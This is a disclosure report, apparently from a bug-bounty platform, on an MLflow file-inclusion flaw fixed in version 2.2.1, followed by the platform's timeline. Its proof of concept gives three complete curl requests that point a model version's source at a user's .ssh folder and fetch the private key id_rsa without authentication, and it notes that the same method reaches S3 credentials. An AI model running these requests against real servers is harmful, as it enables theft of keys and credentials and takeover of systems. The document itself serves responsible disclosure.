LFI/RFI in MLflow in mlflow/mlflow

Valid

Reported on

Mar 3rd 2023


Description

Local and Remote File Include in MLflow

Proof of Concept

Start the server or UI (it works on both identically)

mlflow ui --host 127.0.0.1:5001

Create a model

curl -i -s -k -X $'POST' \ -H $'Host: 127.0.0.1:5001' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0' -H $'Accept: /' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://127.0.0.1:5001/' -H $'Content-Type: application/json; charset=utf-8' -H $'Content-Length: 19' -H $'Origin: http://127.0.0.1:5001' -H $'Connection: close' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' \ --data-binary $'{\"name\":\"AJAX-API\"}' \ $'http://127.0.0.1:5001/ajax-api/2.0/mlflow/registered-models/create'

Arbitrary "name" parameter to be used in the following two requests.

Create a model version

curl -i -s -k -X $'POST' \ -H $'Host: 127.0.0.1:5001' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0' -H $'Accept: /' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://127.0.0.1:5001/' -H $'Content-Type: application/json; charset=utf-8' -H $'Content-Length: 55' -H $'Origin: http://127.0.0.1:5001' -H $'Connection: close' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' \ --data-binary $'{\"name\":\"AJAX-API\",\"source\":\"file:///home/danmcinerney/.ssh\"}' \ $'http://127.0.0.1:5001/ajax-api/2.0/mlflow/model-versions/create'

This is where we set the folder that we want access to. In this case I set the JSON parameter "source" to "file:///home/danmcinerney/.ssh" so that I can access the ssh private keys.

Get artifacts

curl -i -s -k -X $'GET' \ -H $'Host: 127.0.0.1:5001' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: none' -H $'Sec-Fetch-User: ?1' \ $'http://127.0.0.1:5001/model-versions/get-artifact?path=id_rsa&name=AJAX-API&version=1'

The "path" URL parameter can now be set to any file in the folder specified in the previous request's "source" JSON parameter. Note that you can also access other network resources by setting the previous requests' "source" path to things like "s3://bucket/model.pkl/" which extends this from just local file include to remote file include as well.

This works out of the box on a default installation remotely and with no authentication.

This bug was privately disclosed to MLflow via their Security policy of emailing mlflow-oss-maintainers@databricks.com already so no need to contact them again. It has been fixed in the 2.2.1 release. This report is for the CVE submission.

Impact

Reading arbitrary sensitive files on the server. Additionally, reading arbitrary files on the remote artifact store server. Because MLflow is most often configured to use an S3 bucket (per research on publicly available MLflow instances found via Shodan) this means AWS account credentials can also be stolen in the majority of deployments. System takeover and RCE is possible via stealing the private SSH keys from the server.

We are processing your report and will contact the mlflow team within 24 hours. 9 months ago
A GitHub Issue asking the maintainers to create a SECURITY.md exists 9 months ago
Dan McInerney modified the report
9 months ago
Pavlos validated this vulnerability 9 months ago
Dan McInerney has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Pavlos
9 months ago

Admin


This vulnerability has been validated off-platform

Pavlos marked this as fixed in 2.2.1 with commit 7162a5 9 months ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
This vulnerability is scheduled to go public on Mar 24th 2023
Pavlos published this vulnerability 8 months ago
to join this conversation